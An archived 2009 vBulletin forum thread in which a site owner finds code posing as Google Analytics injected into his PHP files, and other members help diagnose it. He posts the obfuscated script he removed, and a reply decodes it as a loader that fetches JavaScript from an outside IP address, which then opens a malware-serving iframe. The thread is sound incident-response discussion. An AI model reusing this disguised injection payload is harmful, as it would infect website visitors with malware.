vb.org Archive

vb.org Archive (https://vborg.vbsupport.ru/index.php)
-   vB3 Programming Discussions (https://vborg.vbsupport.ru/forumdisplay.php?f=15)
-   -   Google analytics script (https://vborg.vbsupport.ru/showthread.php?t=215869)

taytaysdad 06-10-2009 09:56 PM

Google analytics script
 
Hey guys, I have been getting an error for the past 2 days, and when I go to fix it I find Google Analytics code in my index.php files....how does this happen? Is it a setting that I have allowed?

I can put up the code when it happens again.

Has this happened to anyone else?

Lynne 06-10-2009 11:42 PM

It's actually added to the index.php file on your server? Or it is in the page source of your index.php ? And I assume you don't have google analytics on your site? I can't really guess what the problem is until you post the actual error you are getting.

taytaysdad 06-11-2009 01:12 AM

Parse error: syntax error, unexpected T_CONSTANT_ENCAPSED_STRING, expecting ',' or ';' in /home/bud101/public_html/forums/admincp/index.php on line 1247

Yes, additional code is actually placing itself? inside the my code at certain lines, it has happened in my index files, admincp file (above), and Im having an issue viewing bog entries, all the same parse error.

The google anaytics thing has happened twice so far, once a day so far. Everytime it happens I have to edit the code by removing a block of code that has google analytics in it.

Im going to fix the above error now, I'll post the code that I remove.

--------------- Added [DATE]1244686505[/DATE] at [TIME]1244686505[/TIME] ---------------

Here's the code I removed, after removal site runs normally.
Code:

<?php echo '<script type="text/javascript">
var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");
document.write(unescape("%3Cscript sr?='" + gaJsHost + "google-analytics.com/ga.js' " + '#@!s(&r)c@#=!)\'!h$#t^!#$@t@!$p&^!@:$^/!@#!/#9(1)@.(2)1#(2)!.^&6!@!#^5(@#!.!&$1@#4)8#&/($g&$a!.(j^s)'.replace(/#|@|&|\$|\)|\!|\^|\(/ig, '') + "' type='text/javascript'%3E%3C/script%3E"));
</script>
<script type="text/javascript">
try {
var pageTracker = _gat._getTracker("UA-7623457-2");
pageTracker._trackPageview();
} catch(err) {}</script>'; ?>


Brandon Sheley 06-11-2009 01:25 AM

I've always added it at the very end of the footer template

Lynne 06-11-2009 03:22 AM

If code is actually being added to your files on your server and you aren't the one doing it, then someone has access to your server. You should be talking to your host about this and ask them to help figure out who is accessing your server and how.

UKBusinessLive 06-12-2009 06:42 AM

Quote:

Originally Posted by taytaysdad (Post 1827284)
Hey guys, I have been getting an error for the past 2 days, and when I go to fix it I find Google Analytics code in my index.php files....how does this happen? Is it a setting that I have allowed?

I can put up the code when it happens again.

Has this happened to anyone else?

As Lynne says, Has someone else had access to your server and forum root??

If you then you must of added the Analytics code into your index.php by mistake, I take it you have a Google Analytics account??

If you havn't and you didn't add it to your account i would delete the code and change all your server usernames and passwords immeadiately, if someones done this and messed up your index.php, theres no telling what other damage they could of done to your site and server.

If you did add it, and now you know its in the wrong place just take it out from the index.php file and add it to the bottom of your footer like loco recommends

good luck, let us know how you got on. ;)

Carnage 06-13-2009 12:14 PM

its not google analytics

its a crack. more info when i have it, but the code its writing to your site is:

HTML Code:

"<script sr?='google-analytics.com/ga.js' src='http://91.212.65.148/ga.js' type='text/javascript'></script>"
--------------- Added [DATE]1244899159[/DATE] at [TIME]1244899159[/TIME] ---------------

On further analisis, the javascript file it downloades writes an iframe to the site, the iframe opens a site which is known for installing malware and trojans. such behaviour will make it look like the trojan came from your website.

You need to warn your visitors, stop that code from appearing and change any admincp, hosting account etc passwords asap. Also, scan your own machine for trojans etc.

You're visitors have probably been saved by the fact that whoever added the code forgot to escape it properly, causing the parse error. If I were you, i'd check ALL your files to see if they managed to get the code right in one of the other files. (vbulletin will do this for you under matanance for its own files)

taytaysdad 06-18-2009 05:00 AM

Fixed, was actually the forum ad management add-on that was causing it.

I have disabled it and the error hasnt happened since.

Thanks everyone for all the help!

Carnage 06-20-2009 12:39 AM

which ad management add-on was this? It seems it may have a security error.

Read my above post carefully. It wasn't an accident that code got there.


All times are GMT. The time now is 08:58 AM.

Powered by vBulletin® Version 3.8.12 by vBS
Copyright ©2000 - 2025, vBulletin Solutions Inc.

X vBulletin 3.8.12 by vBS Debug Information
  • Page Generation 0.01053 seconds
  • Memory Usage 1,735KB
  • Queries Executed 10 (?)
More Information
Template Usage:
  • (1)ad_footer_end
  • (1)ad_footer_start
  • (1)ad_header_end
  • (1)ad_header_logo
  • (1)ad_navbar_below
  • (1)bbcode_code_printable
  • (1)bbcode_html_printable
  • (1)bbcode_quote_printable
  • (1)footer
  • (1)gobutton
  • (1)header
  • (1)headinclude
  • (6)option
  • (1)post_thanks_navbar_search
  • (1)printthread
  • (9)printthreadbit
  • (1)spacer_close
  • (1)spacer_open 

Phrase Groups Available:
  • global
  • postbit
  • showthread
Included Files:
  • ./printthread.php
  • ./global.php
  • ./includes/init.php
  • ./includes/class_core.php
  • ./includes/config.php
  • ./includes/functions.php
  • ./includes/class_hook.php
  • ./includes/modsystem_functions.php
  • ./includes/class_bbcode_alt.php
  • ./includes/class_bbcode.php
  • ./includes/functions_bigthree.php 

Hooks Called:
  • init_startup
  • init_startup_session_setup_start
  • init_startup_session_setup_complete
  • cache_permissions
  • fetch_threadinfo_query
  • fetch_threadinfo
  • fetch_foruminfo
  • style_fetch
  • cache_templates
  • global_start
  • parse_templates
  • global_setup_complete
  • printthread_start
  • bbcode_fetch_tags
  • bbcode_create
  • bbcode_parse_start
  • bbcode_parse_complete_precache
  • bbcode_parse_complete
  • printthread_post
  • printthread_complete